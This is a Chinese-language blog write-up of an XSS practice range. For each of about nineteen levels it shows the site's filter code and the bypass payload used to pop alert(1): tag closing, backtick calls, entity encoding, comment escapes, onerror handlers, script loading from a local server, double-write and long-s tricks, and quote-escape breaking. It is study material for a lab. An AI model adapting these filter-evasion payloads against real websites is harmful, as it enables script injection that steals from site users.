一个小众搞笑的xss漏洞练习平台


XSS是当今网络安全事件中数量最多的攻击方式,虽然其危害性不高,但主要和其他攻击手段相结合,以实现一个复杂的攻击场景。那么,XSS是什么?

XSS全称跨站脚本(Cross Site Scripting),较合适的方式应该叫做跨站脚本攻击跨站脚本 攻击是一种常见的web安全漏洞,它主要是指攻击者可以在页面中插入恶意脚本代码,当受 害者访问这些页面时,浏览器会解析并执行这些恶意代码,被用于进行窃取隐私、钓鱼欺 骗、窃取密码、传播恶意代码等攻击。
XSS攻击使用到的技术主要为HTML和Javascript,也包括VBScript和ActionScript等。XSS 攻击对WEB服务器虽无直接危害,但是它借助网站进行传播,使网站的使用用户受到攻击,导致网站用户帐号被窃取,从而对网站也产生了较严重的危害。

某乎上很多回答说xss没前途了,类似什么“都2021年了,学xss还有前途吗?”这样的话,就在前几天逛b站发现一大佬发了一个动态,点进去,好家伙弹出个1,还是存储型xss。连我们天天逛的b站都有xss漏洞,所以说xss已经绝迹还为时过早。给你们看看b站的xss漏洞,点此,不过大概率已经被b站删了。

最近看到一个很有意思的靶场,于是进行了实践并通关,并做了笔记。此靶场的好处是可以同时看到输入框、源代码和过滤规则。
项目地址练习平台


此靶场的目标是窗口弹出1

0x00

第一关并没有任何过滤和难度,直接标准的alert(1)搞定

<script>alert(1)</script>

0x01

观察源代码发现我们输入的内容被<textarea></textarea>包裹了起来,我们尝试将前面一个<textarea>进行闭合然后alert(1)。

</textarea><script>alert(1)</script>

0x02

观察源代码<input type=”name” value=””>,思想还是尝试闭合

"><script>alert(1)</script> 

0x03

审计过滤规则发现通过一个正则表达式把我们的括号过滤掉了,可以用``进行代替

<script>alert`1`</script>

0x04

这道题在上一题的基础上还屏蔽了``,可以对()进行unicode编码再解码

<svg><script>alert&#40;1&#41;</script>

0x05

这道题把我们所有输入的都框在了注释里,而且屏蔽了我们的后注释符-->。

function render (input) {
  input = input.replace(/-->/g, '😂')
  return '<!-- ' + input + ' -->'
}

但是万万没想到我们可以用–!>代替–>

--!><script>alert(1)</script>

0x06

尝试闭合,发现过滤了 > ,尝试添加一个onmouseover的属性,发现on也被屏蔽了,真是可恶。但是通过观察过滤规则,发现是过滤规则是“auto或者on开头,后面跟任意东西,直到出现= 或者 > 都转化为_”,因此我们可以将等号和alert(1)换行

在前端的世界里,换行一样有用

onmouseover
=alert(1)

当我们的鼠标拂过输入框的那个1,就会弹出alert(1)了!

0x07

输入标准的alert(1)后发现他是从 < 到 > 做一个完整的过滤

function render (input) {
  const stripTagsRe = /<\/?[^>]+>/gi

  input = input.replace(stripTagsRe, '')
  return `<article>${input}</article>`
}

既然无法闭合,那么我们考虑在标签<article>属性里有什么能搞操作的。想到可以插入图片

<img src=x onerror="alert(1)"

图片无法显示,就会弹出1

0x08

<style>标签不能直接屏蔽,会被过滤替换成/* 坏人 */,那么我们在e和>之间空格就可以了

</style ><script>alert(1)</script>

0x09

审计过滤规则,要我们输入的URL必须是他指定的
但并没有做全文判断,而是必须包含这一段即可,那么我们在后面加上点东西让这个网站无法访问,再用onerror进行弹出1。

https://www.segmentfault.coms" onerror="alert(1)

0x0A

小知识:在js标签中,src后面,如果@是可以加载后方的js文件的

在本地搭建一个网站,并在根目录建立一个含有alert(1)的js文件

https://www.segmentfault.coms@http://localtest/haha.js

0x0B

此题把我们输入的所有东西转化成大写

html 标签, 域名 不区分大小写,path部分区分大小写,让evil服务器返回 HAHA.JS 就可以

<script src="http://127.0.0.1/HAHA.JS"></script>


HAHA.JS中写入alert(1)

0x0C

这题屏蔽了script这个单词,并把输入的所有东西转化成大写。尝试script双写绕过

function render (input) {
  input = input.replace(/script/ig, '')
  input = input.toUpperCase()
  return '<h1>' + input + '</h1>'
}
<scscriptript src="http://127.0.0.1/ABC.JS"></scrscriptipt>

0x0D

这道题的前端代码是这样的(非常的奇怪):

<script>
    // alert('')
</script>

直接一个空行就能忽略掉那个单行注释
但过滤了 < “ ‘ /

x
alert(1) 
-->

0x0E

过滤规则如下:

function render (input) {
  input = input.replace(/   <([a-zA-Z])    /g, '<_$1')
  input = input.toUpperCase()
  return '<h1>' + input + '</h1>'
}

把左尖括号右边的那个英文字母全部转化成 _+字母,并且全部转化成大写。
但他没有过滤古英文!!
维基百科查到s的古英文写法是 ſ
因此问题迎刃而解。

<ſcript src="http://127.0.0.1/HAHA.JS"></script>

0x0F

过滤规则:

function render (input) {
  function escapeHtml(s) {
    return s.replace(/&/g, '&amp;')
            .replace(/'/g, '&#39;')
            .replace(/"/g, '&quot;')
            .replace(/</g, '&lt;')
            .replace(/>/g, '&gt;')
            .replace(/\//g, '&#x2f;')
  }
  return `<img src onerror="console.error('${escapeHtml(input)}')">`
}

对html inline js 转义就是做无用功,浏览器会先解析html, 然后再解析 js

直接前后补全即可

');alert('1

0x10

直接alert(1),不知道这题的意义何在

0x11

这道题的过滤规则多的吓人

function render (s) {
  function escapeJs (s) {
    return String(s)
            .replace(/\\/g, '\\\\')
            .replace(/'/g, '\\\'')
            .replace(/"/g, '\\"')
            .replace(/`/g, '\\`')
            .replace(/</g, '\\74')
            .replace(/>/g, '\\76')
            .replace(/\//g, '\\/')
            .replace(/\n/g, '\\n')
            .replace(/\r/g, '\\r')
            .replace(/\t/g, '\\t')
            .replace(/\f/g, '\\f')
            .replace(/\v/g, '\\v')
            // .replace(/\b/g, '\\b')
            .replace(/\0/g, '\\0')
  }
  s = escapeJs(s)
  return `
<script>
  var url = 'javascript:console.log("${s}")'
  var a = document.createElement('a')
  a.href = url
  document.body.appendChild(a)
  a.click()
</script>
`
}

但实际上补全再用个堆叠即可

");alert("1

说实话这题有点奇怪,他是在引号前加了转义符,按道理应该那个引号就没用了,正确的情况应该是下一题。

0x12

法一、直接闭合script并在后面新建一个script标签

</script>
<script>
alert`1`;
</script>
<script>

法二、因为他用转义符把我们的引号转义掉了,因此我们用转义符再把他的转义符转义掉

\");alert(1)//

总结

xss虽然现在已不多见,但仍存在,只要存在,就可能是高危漏洞。而xss虽然不能看到他后端的过滤方式,但能从前端来倒推,因此需要了解一些前端,配以一些奇淫巧技即可。


Author: xzajyjs
Reprint policy: All articles in this blog are used except for special statements CC BY 4.0 reprint polocy. If reproduced, please indicate source xzajyjs !
评论
 Previous
MC-BE基岩版的私服搭建与日常维护 MC-BE基岩版的私服搭建与日常维护
前些天不小心买了个ecs的服务器,又是活动期不能退款,没办法用来搭了个mc基岩版的服务器玩玩。拥有自己的服务器,不仅可以备份世界存档,作为管理员,甚至还可以“滥权”一下,与小伙伴玩点恶作剧。 选择基岩版的原因不仅是c++开发导致的运行效率高
2021-08-18
Next 
Vulnhub内网渗透DC-1靶场通关 Vulnhub内网渗透DC-1靶场通关
DC系列共9个靶场,本次来试玩一下DC-1,共有5个flag,下载地址。
2021-08-12
  TOC